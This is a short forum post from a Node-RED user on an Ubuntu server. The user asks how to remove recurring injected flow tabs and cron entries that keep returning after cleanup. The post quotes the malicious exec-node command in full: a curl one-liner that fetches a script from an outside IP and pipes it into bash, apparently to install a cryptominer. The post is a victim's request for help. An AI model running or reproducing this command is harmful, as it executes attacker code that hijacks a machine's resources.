I get alot of new tabs, with 3 things in them.
Timestamp, exec and msg.payload
All new tabs look the same. The exce node has this in it:
"curl -s http://188.8.131.52:8220/mr.sh | bash -sh"
Which seem to be a cryptominig crap... (I found out after some googling).
It also goes in my cron (running on a ubuntu-server computer).
How do I delete this?
I have tried to clean node red, plus the cron. But after a day it's all back there....